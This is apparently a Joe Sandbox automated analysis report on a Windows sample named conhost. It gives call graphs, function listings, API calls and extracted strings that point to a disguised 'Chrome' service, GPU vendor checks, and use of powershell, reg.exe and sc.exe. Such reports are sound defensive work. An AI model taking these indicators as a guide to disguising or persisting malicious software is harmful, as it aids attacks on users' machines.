2611->2612 2613 140001394 2 API calls 2612->2613 2614 14000156c 2613->2614 2615 140001394 2 API calls 2614->2615 2616 14000157b 2615->2616 2617 140001394 2 API calls 2616->2617 2618 14000158a 2617->2618 2619 140001394 2 API calls 2618->2619 2620 140001599 2619->2620 2621 140001394 2 API calls 2620->2621 2622 1400015a8 2621->2622 2623 140001394 2 API calls 2622->2623 2624 1400015b7 2623->2624 2625 140001394 2 API calls 2624->2625 2626 1400015c6 2625->2626 2627 140001394 2 API calls 2626->2627 2628 1400015d5 2627->2628 2629 140001394 2 API calls 2628->2629 2630 1400015e4 2629->2630 2631 140001394 2 API calls 2630->2631 2632 1400015f3 2631->2632 2632->2332 2633 140001530 2632->2633 2634 140001394 2 API calls 2633->2634 2635 14000153f 2634->2635 2636 140001394 2 API calls 2635->2636 2637 14000154e 2636->2637 2638 140001394 2 API calls 2637->2638 2639 14000155d 2638->2639 2640 140001394 2 API calls 2639->2640 2641 14000156c 2640->2641 2642 140001394 2 API calls 2641->2642 2643 14000157b 2642->2643 2644 140001394 2 API calls 2643->2644 2645 14000158a 2644->2645 2646 140001394 2 API calls 2645->2646 2647 140001599 2646->2647 2648 140001394 2 API calls 2647->2648 2649 1400015a8 2648->2649 2650 140001394 2 API calls 2649->2650 2651 1400015b7 2650->2651 2652 140001394 2 API calls 2651->2652 2653 1400015c6 2652->2653 2654 140001394 2 API calls 2653->2654 2655 1400015d5 2654->2655 2656 140001394 2 API calls 2655->2656 2657 1400015e4 2656->2657 2658 140001394 2 API calls 2657->2658 2659 1400015f3 2658->2659 2659->2337 2659->2338 2661 140001394 2 API calls 2660->2661 2662 1400014b8 2661->2662 2663 140001394 2 API calls 2662->2663 2664 1400014c7 2663->2664 2665 140001394 2 API calls 2664->2665 2666 1400014d6 2665->2666 2667 1400014e5 2666->2667 2668 140001394 2 API calls 2666->2668 2669 140001394 2 API calls 2667->2669 2668->2667 2670 1400014ef 2669->2670 2671 1400014f4 2670->2671 2672 140001394 2 API calls 2670->2672 2673 140001394 2 API calls 2671->2673 2672->2671 2674 1400014fe 2673->2674 2675 140001503 2674->2675 2676 140001394 2 API calls 2674->2676 2677 140001394 2 API calls 2675->2677 2676->2675 2678 14000150d 2677->2678 2679 140001394 2 API calls 2678->2679 2680 140001512 2679->2680 2681 140001394 2 API calls 2680->2681 2682 140001521 2681->2682 2683 140001394 2 API calls 2682->2683 2684 140001530 2683->2684 2685 140001394 2 API calls 2684->2685 2686 14000153f 2685->2686 2687 140001394 2 API calls 2686->2687 2688 14000154e 2687->2688 2689 140001394 2 API calls 2688->2689 2690 14000155d 2689->2690 2691 140001394 2 API calls 2690->2691 2692 14000156c 2691->2692 2693 140001394 2 API calls 2692->2693 2694 14000157b 2693->2694 2695 140001394 2 API calls 2694->2695 2696 14000158a 2695->2696 2697 140001394 2 API calls 2696->2697 2698 140001599 2697->2698 2699 140001394 2 API calls 2698->2699 2700 1400015a8 2699->2700 2701 140001394 2 API calls 2700->2701 2702 1400015b7 2701->2702 2703 140001394 2 API calls 2702->2703 2704 1400015c6 2703->2704 2705 140001394 2 API calls 2704->2705 2706 1400015d5 2705->2706 2707 140001394 2 API calls 2706->2707 2708 1400015e4 2707->2708 2709 140001394 2 API calls 2708->2709 2710 1400015f3 2709->2710 2710->2347 2711 140001440 2710->2711 2712 140001394 2 API calls 2711->2712 2713 14000144f 2712->2713 2714 140001394 2 API calls 2713->2714 2715 14000145e 2714->2715 2716 140001394 2 API calls 2715->2716 2717 14000146d 2716->2717 2718 140001394 2 API calls 2717->2718 2719 14000147c 2718->2719 2720 140001394 2 API calls 2719->2720 2721 14000148b 2720->2721 2722 140001394 2 API calls 2721->2722 2723 14000149a 2722->2723 2724 140001394 2 API calls 2723->2724 2725 1400014a9 2724->2725 2726 140001394 2 API calls 2725->2726 2727 1400014b8 2726->2727 2728 140001394 2 API calls 2727->2728 2729 1400014c7 2728->2729 2730 140001394 2 API calls 2729->2730 2731 1400014d6 2730->2731 2732 1400014e5 2731->2732 2733 140001394 2 API calls 2731->2733 2734 140001394 2 API calls 2732->2734 2733->2732 2735 1400014ef 2734->2735 2736 1400014f4 2735->2736 2737 140001394 2 API calls 2735->2737 2738 140001394 2 API calls 2736->2738 2737->2736 2739 1400014fe 2738->2739 2740 140001503 2739->2740 2741 140001394 2 API calls 2739->2741 2742 140001394 2 API calls 2740->2742 2741->2740 2743 14000150d 2742->2743 2744 140001394 2 API calls 2743->2744 2745 140001512 2744->2745 2746 140001394 2 API calls 2745->2746 2747 140001521 2746->2747 2748 140001394 2 API calls 2747->2748 2749 140001530 2748->2749 2750 140001394 2 API calls 2749->2750 2751 14000153f 2750->2751 2752 140001394 2 API calls 2751->2752 2753 14000154e 2752->2753 2754 140001394 2 API calls 2753->2754 2755 14000155d 2754->2755 2756 140001394 2 API calls 2755->2756 2757 14000156c 2756->2757 2758 140001394 2 API calls 2757->2758 2759 14000157b 2758->2759 2760 140001394 2 API calls 2759->2760 2761 14000158a 2760->2761 2762 140001394 2 API calls 2761->2762 2763 140001599 2762->2763 2764 140001394 2 API calls 2763->2764 2765 1400015a8 2764->2765 2766 140001394 2 API calls 2765->2766 2767 1400015b7 2766->2767 2768 140001394 2 API calls 2767->2768 2769 1400015c6 2768->2769 2770 140001394 2 API calls 2769->2770 2771 1400015d5 2770->2771 2772 140001394 2 API calls 2771->2772 2773 1400015e4 2772->2773 2774 140001394 2 API calls 2773->2774 2775 1400015f3 2774->2775 2775->2347 2775->2356 2777 1400014e5 2776->2777 2778 140001394 2 API calls 2776->2778 2779 140001394 2 API calls 2777->2779 2778->2777 2780 1400014ef 2779->2780 2781 1400014f4 2780->2781 2782 140001394 2 API calls 2780->2782 2783 140001394 2 API calls 2781->2783 2782->2781 2784 1400014fe 2783->2784 2785 140001503 2784->2785 2786 140001394 2 API calls 2784->2786 2787 140001394 2 API calls 2785->2787 2786->2785 2788 14000150d 2787->2788 2789 140001394 2 API calls 2788->2789 2790 140001512 2789->2790 2791 140001394 2 API calls 2790->2791 2792 140001521 2791->2792 2793 140001394 2 API calls 2792->2793 2794 140001530 2793->2794 2795 140001394 2 API calls 2794->2795 2796 14000153f 2795->2796 2797 140001394 2 API calls 2796->2797 2798 14000154e 2797->2798 2799 140001394 2 API calls 2798->2799 2800 14000155d 2799->2800 2801 140001394 2 API calls 2800->2801 2802 14000156c 2801->2802 2803 140001394 2 API calls 2802->2803 2804 14000157b 2803->2804 2805 140001394 2 API calls 2804->2805 2806 14000158a 2805->2806 2807 140001394 2 API calls 2806->2807 2808 140001599 2807->2808 2809 140001394 2 API calls 2808->2809 2810 1400015a8 2809->2810 2811 140001394 2 API calls 2810->2811 2812 1400015b7 2811->2812 2813 140001394 2 API calls 2812->2813 2814 1400015c6 2813->2814 2815 140001394 2 API calls 2814->2815 2816 1400015d5 2815->2816 2817 140001394 2 API calls 2816->2817 2818 1400015e4 2817->2818 2819 140001394 2 API calls 2818->2819 2820 1400015f3 2819->2820 2820->2384 2822 140001394 2 API calls 2821->2822 2823 140001530 2822->2823 2824 140001394 2 API calls 2823->2824 2825 14000153f 2824->2825 2826 140001394 2 API calls 2825->2826 2827 14000154e 2826->2827 2828 140001394 2 API calls 2827->2828 2829 14000155d 2828->2829 2830 140001394 2 API calls 2829->2830 2831 14000156c 2830->2831 2832 140001394 2 API calls 2831->2832 2833 14000157b 2832->2833 2834 140001394 2 API calls 2833->2834 2835 14000158a 2834->2835 2836 140001394 2 API calls 2835->2836 2837 140001599 2836->2837 2838 140001394 2 API calls 2837->2838 2839 1400015a8 2838->2839 2840 140001394 2 API calls 2839->2840 2841 1400015b7 2840->2841 2842 140001394 2 API calls 2841->2842 2843 1400015c6 2842->2843 2844 140001394 2 API calls 2843->2844 2845 1400015d5 2844->2845 2846 140001394 2 API calls 2845->2846 2847 1400015e4 2846->2847 2848 140001394 2 API calls 2847->2848 2849 1400015f3 2848->2849 2849->2384 2851 140001394 2 API calls 2850->2851 2852 140001431 2851->2852 2853 140001394 2 API calls 2852->2853 2854 140001440 2853->2854 2855 140001394 2 API calls 2854->2855 2856 14000144f 2855->2856 2857 140001394 2 API calls 2856->2857 2858 14000145e 2857->2858 2859 140001394 2 API calls 2858->2859 2860 14000146d 2859->2860 2861 140001394 2 API calls 2860->2861 2862 14000147c 2861->2862 2863 140001394 2 API calls 2862->2863 2864 14000148b 2863->2864 2865 140001394 2 API calls 2864->2865 2866 14000149a 2865->2866 2867 140001394 2 API calls 2866->2867 2868 1400014a9 2867->2868 2869 140001394 2 API calls 2868->2869 2870 1400014b8 2869->2870 2871 140001394 2 API calls 2870->2871 2872 1400014c7 2871->2872 2873 140001394 2 API calls 2872->2873 2874 1400014d6 2873->2874 2875 1400014e5 2874->2875 2876 140001394 2 API calls 2874->2876 2877 140001394 2 API calls 2875->2877 2876->2875 2878 1400014ef 2877->2878 2879 1400014f4 2878->2879 2880 140001394 2 API calls 2878->2880 2881 140001394 2 API calls 2879->2881 2880->2879 2882 1400014fe 2881->2882 2883 140001503 2882->2883 2884 140001394 2 API calls 2882->2884 2885 140001394 2 API calls 2883->2885 2884->2883 2886 14000150d 2885->2886 2887 140001394 2 API calls 2886->2887 2888 140001512 2887->2888 2889 140001394 2 API calls 2888->2889 2890 140001521 2889->2890 2891 140001394 2 API calls 2890->2891 2892 140001530 2891->2892 2893 140001394 2 API calls 2892->2893 2894 14000153f 2893->2894 2895 140001394 2 API calls 2894->2895 2896 14000154e 2895->2896 2897 140001394 2 API calls 2896->2897 2898 14000155d 2897->2898 2899 140001394 2 API calls 2898->2899 2900 14000156c 2899->2900 2901 140001394 2 API calls 2900->2901 2902 14000157b 2901->2902 2903 140001394 2 API calls 2902->2903 2904 14000158a 2903->2904 2905 140001394 2 API calls 2904->2905 2906 140001599 2905->2906 2907 140001394 2 API calls 2906->2907 2908 1400015a8 2907->2908 2909 140001394 2 API calls 2908->2909 2910 1400015b7 2909->2910 2911 140001394 2 API calls 2910->2911 2912 1400015c6 2911->2912 2913 140001394 2 API calls 2912->2913 2914 1400015d5 2913->2914 2915 140001394 2 API calls 2914->2915 2916 1400015e4 2915->2916 2917 140001394 2 API calls 2916->2917 2918 1400015f3 2917->2918 2918->2384 2920 140001394 2 API calls 2919->2920 2921 140001440 2920->2921 2922 140001394 2 API calls 2921->2922 2923 14000144f 2922->2923 2924 140001394 2 API calls 2923->2924 2925 14000145e 2924->2925 2926 140001394 2 API calls 2925->2926 2927 14000146d 2926->2927 2928 140001394 2 API calls 2927->2928 2929 14000147c 2928->2929 2930 140001394 2 API calls 2929->2930 2931 14000148b 2930->2931 2932 140001394 2 API calls 2931->2932 2933 14000149a 2932->2933 2934 140001394 2 API calls 2933->2934 2935 1400014a9 2934->2935 2936 140001394 2 API calls 2935->2936 2937 1400014b8 2936->2937 2938 140001394 2 API calls 2937->2938 2939 1400014c7 2938->2939 2940 140001394 2 API calls 2939->2940 2941 1400014d6 2940->2941 2942 1400014e5 2941->2942 2943 140001394 2 API calls 2941->2943 2944 140001394 2 API calls 2942->2944 2943->2942 2945 1400014ef 2944->2945 2946 1400014f4 2945->2946 2947 140001394 2 API calls 2945->2947 2948 140001394 2 API calls 2946->2948 2947->2946 2949 1400014fe 2948->2949 2950 140001503 2949->2950 2951 140001394 2 API calls 2949->2951 2952 140001394 2 API calls 2950->2952 2951->2950 2953 14000150d 2952->2953 2954 140001394 2 API calls 2953->2954 2955 140001512 2954->2955 2956 140001394 2 API calls 2955->2956 2957 140001521 2956->2957 2958 140001394 2 API calls 2957->2958 2959 140001530 2958->2959 2960 140001394 2 API calls 2959->2960 2961 14000153f 2960->2961 2962 140001394 2 API calls 2961->2962 2963 14000154e 2962->2963 2964 140001394 2 API calls 2963->2964 2965 14000155d 2964->2965 2966 140001394 2 API calls 2965->2966 2967 14000156c 2966->2967 2968 140001394 2 API calls 2967->2968 2969 14000157b 2968->2969 2970 140001394 2 API calls 2969->2970 2971 14000158a 2970->2971 2972 140001394 2 API calls 2971->2972 2973 140001599 2972->2973 2974 140001394 2 API calls 2973->2974 2975 1400015a8 2974->2975 2976 140001394 2 API calls 2975->2976 2977 1400015b7 2976->2977 2978 140001394 2 API calls 2977->2978 2979 1400015c6 2978->2979 2980 140001394 2 API calls 2979->2980 2981 1400015d5 2980->2981 2982 140001394 2 API calls 2981->2982 2983 1400015e4 2982->2983 2984 140001394 2 API calls 2983->2984 2985 1400015f3 2984->2985 2985->2384

                                                                Callgraph

                                                                • Executed
                                                                • Not Executed
                                                                • Opacity -> Relevance
                                                                • Disassembly available
                                                                callgraph 0 Function_00000001400026E1 1 Function_00000001400031E1 2 Function_00000001400062E1 3 Function_0000000140001AE4 37 Function_0000000140001D40 3->37 79 Function_0000000140001BA0 3->79 4 Function_00000001400014E5 75 Function_0000000140001394 4->75 5 Function_0000000140002FF0 61 Function_0000000140001370 5->61 6 Function_00000001400010F0 7 Function_00000001400064F0 8 Function_00000001400061F1 9 Function_00000001400014F4 9->75 10 Function_0000000140002500 11 Function_0000000140003200 12 Function_0000000140001800 69 Function_0000000140002290 12->69 13 Function_0000000140001E00 14 Function_0000000140001000 14->13 43 Function_0000000140001750 14->43 87 Function_0000000140001FB0 14->87 93 Function_0000000140001FC0 14->93 15 Function_0000000140006301 16 Function_0000000140001503 16->75 17 Function_0000000140001404 17->75 18 Function_0000000140002104 19 Function_0000000140006510 20 Function_0000000140001E10 21 Function_0000000140006310 22 Function_0000000140006211 23 Function_0000000140001512 23->75 24 Function_0000000140003220 25 Function_0000000140002320 26 Function_0000000140002420 27 Function_0000000140006520 27->19 28 Function_0000000140001521 28->75 29 Function_0000000140001422 29->75 30 Function_0000000140001530 30->75 31 Function_0000000140001431 31->75 32 Function_0000000140006331 33 Function_0000000140006231 34 Function_000000014000153F 34->75 35 Function_0000000140001440 35->75 36 Function_0000000140001140 50 Function_0000000140001160 36->50 37->69 38 Function_0000000140003240 38->5 38->16 38->19 38->28 38->29 38->30 38->31 38->34 38->35 48 Function_000000014000145E 38->48 51 Function_0000000140002660 38->51 57 Function_000000014000156C 38->57 58 Function_000000014000146D 38->58 38->61 64 Function_000000014000157B 38->64 77 Function_0000000140001599 38->77 84 Function_00000001400015A8 38->84 85 Function_00000001400014A9 38->85 92 Function_00000001400016C0 38->92 102 Function_00000001400027D0 38->102 106 Function_00000001400014D6 38->106 39 Function_0000000140006441 40 Function_0000000140003141 41 Function_0000000140001F47 60 Function_0000000140001870 41->60 42 Function_0000000140002050 44 Function_0000000140001650 45 Function_0000000140002751 46 Function_0000000140006251 47 Function_000000014000155D 47->75 48->75 49 Function_0000000140001760 107 Function_00000001400020E0 49->107 50->38 50->50 50->60 65 Function_0000000140001880 50->65 68 Function_0000000140001F90 50->68 50->92 52 Function_0000000140002460 53 Function_0000000140003160 54 Function_0000000140006361 55 Function_0000000140006461 56 Function_0000000140001E65 56->60 57->75 58->75 59 Function_000000014000216F 62 Function_0000000140001A70 62->37 62->79 63 Function_0000000140002770 64->75 65->26 65->37 65->51 65->79 66 Function_0000000140003180 67 Function_0000000140006281 70 Function_0000000140002590 71 Function_0000000140002790 72 Function_0000000140002691 73 Function_0000000140006391 74 Function_0000000140006491 75->27 101 Function_00000001400067D0 75->101 76 Function_0000000140002194 76->60 77->75 78 Function_000000014000219E 79->37 86 Function_00000001400023B0 79->86 100 Function_00000001400024D0 79->100 80 Function_0000000140001FA0 81 Function_00000001400027A0 82 Function_00000001400031A1 83 Function_00000001400062A1 84->75 85->75 88 Function_00000001400022B0 89 Function_00000001400026B0 90 Function_00000001400027B1 91 Function_0000000140001AB3 91->37 91->79 94 Function_00000001400061C1 95 Function_00000001400062C1 96 Function_0000000140001AC3 96->37 96->79 97 Function_00000001400014C7 97->75 98 Function_00000001400026D0 99 Function_0000000140001FD0 101->19 102->4 102->9 102->16 102->19 102->23 102->47 102->48 102->51 102->61 102->85 102->97 103 Function_00000001400017D0 104 Function_00000001400063D1 105 Function_0000000140001AD4 105->37 105->79 106->75 108 Function_00000001400017E0 108->107 109 Function_00000001400022E0

                                                                Executed Functions

                                                                Function 0000000140001394 Relevance: 1.5, APIs: 1, Instructions: 24filenativeCOMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                APIs
                                                                • NtQueryAttributesFile.NTDLL(?,?,?,?,?,?,?,?,?,?,?,?,?,0000000140001156), ref: 00000001400013F7
                                                                Memory Dump Source
                                                                • Source File: 0000002A.00000002.3825790879.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                                • Associated: 0000002A.00000002.3825760093.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 0000002A.00000002.3825815180.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 0000002A.00000002.3825837239.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 0000002A.00000002.3825857904.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_42_2_140000000_conhost.jbxd
                                                                Similarity
                                                                • API ID: AttributesFileQuery
                                                                • String ID:
                                                                • API String ID: 2106648053-0
                                                                • Opcode ID: a9efc844cea4936be805583ba1432efd4cb6cf176723f88e4930ad65a1e23134
                                                                • Instruction ID: 55769af2d4bf97badd1df828a245d3095576d73c2821e0f357dacb6e1e8aabda
                                                                • Opcode Fuzzy Hash: a9efc844cea4936be805583ba1432efd4cb6cf176723f88e4930ad65a1e23134
                                                                • Instruction Fuzzy Hash: 6EF09DB6608B408AEA12DB62F85179A77A1F79D7C0F009919BBC853739DB38C190CB40

                                                                Non-executed Functions

                                                                Function 0000000140003240 Relevance: 149.0, APIs: 60, Strings: 24, Instructions: 2020COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 0000002A.00000002.3825790879.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                                • Associated: 0000002A.00000002.3825760093.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 0000002A.00000002.3825815180.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 0000002A.00000002.3825837239.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 0000002A.00000002.3825857904.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_42_2_140000000_conhost.jbxd
                                                                Similarity
                                                                • API ID: memsetwcslen$wcscatwcscpy$_wcsnicmp
                                                                • String ID: $ $AMD$ATI$Advanced Micro Devices$ImagePath$NVIDIA$PROGRAMDATA=$ProviderName$SYSTEMROOT=$Start$\??\$\??\$\BaseNamedObjects\vxmklory$\BaseNamedObjects\wzaaradbbanhjyiuzqingyiz$\BaseNamedObjects\zvephrvenfzrpfqs$\Chrome.exe$\Registry\Machine\SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\$\Registry\Machine\SYSTEM\CurrentControlSet\Services\Chrome$\System32$\WindowsPowerShell\v1.0\powershell.exe$\cmd.exe$\reg.exe$\sc.exe
                                                                • API String ID: 3506639089-1164981747
                                                                • Opcode ID: f9f00584740f326b0651aa11fe350e4e628a7d90e96a58d678bb832e4801c0d4
                                                                • Instruction ID: b07b20a1427e0a2d1bb55387612dda4660aaab1b0858772cfc3d8ceca331e793
                                                                • Opcode Fuzzy Hash: f9f00584740f326b0651aa11fe350e4e628a7d90e96a58d678bb832e4801c0d4
                                                                • Instruction Fuzzy Hash: AC433AF1524AC198F323DF2AF8457E563A0BB9E3C8F445216FB84676B2EB794285C305
                                                                Function 00000001400027D0 Relevance: 23.1, APIs: 9, Strings: 4, Instructions: 376COMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                • Executed
                                                                • Not Executed
                                                                control_flow_graph 385 1400027d0-14000282b call 140002660 memset 388 140002831-14000283b 385->388 389 1400028fe-14000294e call 14000155d 385->389 391 140002864-14000286a 388->391 394 140002a43-140002a6b call 1400014c7 389->394 395 140002954-140002963 389->395 391->389 393 140002870-140002877 391->393 396 140002879-140002882 393->396 397 140002840-140002842 393->397 412 140002a76-140002ab8 call 140001503 call 140006510 memset 394->412 413 140002a6d 394->413 398 140002fa7-140002fe4 call 140001370 395->398 399 140002969-140002978 395->399 402 140002884-14000289b 396->402 403 1400028e8-1400028eb 396->403 400 14000284a-14000285e 397->400 404 1400029d4-140002a3e wcsncmp call 1400014e5 399->404 405 14000297a-1400029cd 399->405 400->389 400->391 408 1400028e5 402->408 409 14000289d-1400028b2 402->409 403->400 404->394 405->404 408->403 414 1400028c0-1400028c7 409->414 421 140002f39-140002f74 call 140001370 412->421 422 140002abe-140002ac5 412->422 413->412 415 1400028c9-1400028e3 414->415 416 1400028f0-1400028f9 414->416 415->408 415->414 416->400 425 140002ac7-140002afc 421->425 429 140002f7a 421->429 424 140002b03-140002b33 wcscpy wcscat wcslen 422->424 422->425 427 140002b35-140002b66 wcslen 424->427 428 140002b68-140002b95 424->428 425->424 430 140002b98-140002baf wcslen 427->430 428->430 429->424 431 140002bb5-140002bc8 430->431 432 140002f7f-140002f9b call 140001370 430->432 434 140002be5-140002eeb wcslen call 1400014a9 * 2 call 1400014f4 call 1400014c7 * 2 call 14000145e * 3 431->434 435 140002bca-140002bde 431->435 432->398 453 140002eed-140002f0b call 140001512 434->453 454 140002f10-140002f38 call 14000145e 434->454 435->434 453->454
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 0000002A.00000002.3825790879.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                                • Associated: 0000002A.00000002.3825760093.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 0000002A.00000002.3825815180.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 0000002A.00000002.3825837239.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 0000002A.00000002.3825857904.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_42_2_140000000_conhost.jbxd
                                                                Similarity
                                                                • API ID: wcslen$memset$wcscatwcscpywcsncmp
                                                                • String ID: 0$X$\BaseNamedObjects\zvephrvenfzrpfqs$`
                                                                • API String ID: 780471329-1565225789
                                                                • Opcode ID: d06ff198b9adf04d2293b3933f1008c9007d93146ac6b43991ebde6bbab559d8
                                                                • Instruction ID: 288012cf14065c2f391846a3ab3d30113bdb4d4bb9c282988a20f83871f53ef7
                                                                • Opcode Fuzzy Hash: d06ff198b9adf04d2293b3933f1008c9007d93146ac6b43991ebde6bbab559d8
                                                                • Instruction Fuzzy Hash: EA126CB2618BC081E762CB26F8443EAB7A4F789794F418215EBA957BF5DF78C185C700
                                                                Function 0000000140001160 Relevance: 13.6, APIs: 9, Instructions: 130sleepstringCOMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 0000002A.00000002.3825790879.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                                • Associated: 0000002A.00000002.3825760093.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 0000002A.00000002.3825815180.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 0000002A.00000002.3825837239.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 0000002A.00000002.3825857904.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_42_2_140000000_conhost.jbxd
                                                                Similarity
                                                                • API ID: malloc$ExceptionFilterSleepUnhandled_amsg_exit_cexit_inittermmemcpystrlen
                                                                • String ID:
                                                                • API String ID: 2643109117-0
                                                                • Opcode ID: baa7c4cbecdde1a77dbd54a449249007eed9c0f89ee8769e77dfeb6f93e6c214
                                                                • Instruction ID: afe468c82ee21520ab5432c45d5df99f9e7bb2e51abf512e96f833b76cc36b7a
                                                                • Opcode Fuzzy Hash: baa7c4cbecdde1a77dbd54a449249007eed9c0f89ee8769e77dfeb6f93e6c214
                                                                • Instruction Fuzzy Hash: 375133B1601A4085FB17EF27F9943EA27A5BB8CBD0F409121FB4E877B2DE3884958700
                                                                Function 0000000140001BA0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 106memoryCOMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                • Executed
                                                                • Not Executed
                                                                control_flow_graph 499 140001ba0-140001bc0 500 140001bc2-140001bd7 499->500 501 140001c09 499->501 502 140001be9-140001bf1 500->502 503 140001c0c-140001c17 call 1400023b0 501->503 504 140001bf3-140001c02 502->504 505 140001be0-140001be7 502->505 509 140001cf4-140001cfe call 140001d40 503->509 510 140001c1d-140001c6c call 1400024d0 VirtualQuery 503->510 504->505 507 140001c04 504->507 505->502 505->503 511 140001cd7-140001cf3 memcpy 507->511 514 140001d03-140001d1e call 140001d40 509->514 510->514 517 140001c72-140001c79 510->517 518 140001d23-140001d38 GetLastError call 140001d40 514->518 519 140001c7b-140001c7e 517->519 520 140001c8e-140001c97 517->520 522 140001cd1 519->522 523 140001c80-140001c83 519->523 524 140001ca4-140001ccf VirtualProtect 520->524 525 140001c99-140001c9c 520->525 522->511 523->522 527 140001c85-140001c8a 523->527 524->518 524->522 525->522 528 140001c9e 525->528 527->522 529 140001c8c 527->529 528->524 529->528
                                                                APIs
                                                                • VirtualQuery.KERNEL32(?,?,?,?,0000000140007DBC,0000000140007DBC,?,?,0000000140000000,?,0000000140001991), ref: 0000000140001C63
                                                                • VirtualProtect.KERNEL32(?,?,?,?,0000000140007DBC,0000000140007DBC,?,?,0000000140000000,?,0000000140001991), ref: 0000000140001CC7
                                                                • memcpy.MSVCRT ref: 0000000140001CE0
                                                                • GetLastError.KERNEL32(?,?,?,?,0000000140007DBC,0000000140007DBC,?,?,0000000140000000,?,0000000140001991), ref: 0000000140001D23
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 0000002A.00000002.3825790879.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                                • Associated: 0000002A.00000002.3825760093.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 0000002A.00000002.3825815180.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 0000002A.00000002.3825837239.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 0000002A.00000002.3825857904.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_42_2_140000000_conhost.jbxd
                                                                Similarity
                                                                • API ID: Virtual$ErrorLastProtectQuerymemcpy
                                                                • String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section
                                                                • API String ID: 2595394609-2123141913
                                                                • Opcode ID: df7238d79fa2d2807d12a3721f02e952cb70ce12e34742303a71ae7989f1f348
                                                                • Instruction ID: 3e7b5ecd0f9ab9c5b6f3dbc83d536faacc7d2f1bcfce1c54eb7915199dcf8083
                                                                • Opcode Fuzzy Hash: df7238d79fa2d2807d12a3721f02e952cb70ce12e34742303a71ae7989f1f348
                                                                • Instruction Fuzzy Hash: 444132B1201A4486FA66DF57F884BE927A0F78DBC4F558126EF0E877B1DA38C586C700
                                                                Function 0000000140002104 Relevance: 9.1, APIs: 6, Instructions: 51COMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                • Executed
                                                                • Not Executed
                                                                control_flow_graph 530 140002104-14000210b 531 140002111-140002128 EnterCriticalSection 530->531 532 140002218-140002221 530->532 535 14000220b-140002212 LeaveCriticalSection 531->535 536 14000212e-14000213c 531->536 533 140002272-140002280 532->533 534 140002223-14000222d 532->534 537 140002241-140002263 DeleteCriticalSection 534->537 538 14000222f 534->538 535->532 539 14000214d-140002159 TlsGetValue GetLastError 536->539 537->533 540 140002230-14000223f free 538->540 541 14000215b-14000215e 539->541 542 140002140-140002147 539->542 540->537 540->540 541->542 543 140002160-14000216d 541->543 542->535 542->539 543->542
                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 0000002A.00000002.3825790879.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                                • Associated: 0000002A.00000002.3825760093.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 0000002A.00000002.3825815180.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 0000002A.00000002.3825837239.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 0000002A.00000002.3825857904.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_42_2_140000000_conhost.jbxd
                                                                Similarity
                                                                • API ID: CriticalSection$DeleteEnterErrorLastLeaveValuefree
                                                                • String ID:
                                                                • API String ID: 3326252324-0
                                                                • Opcode ID: 672952b90304c9560e718319ab6be91a0d91d1b34b3c94dd1f916c2f21b526cc
                                                                • Instruction ID: 8053d85934c412e1c454606f1f150af2342a590d3bb9918810e374f3e359275e
                                                                • Opcode Fuzzy Hash: 672952b90304c9560e718319ab6be91a0d91d1b34b3c94dd1f916c2f21b526cc
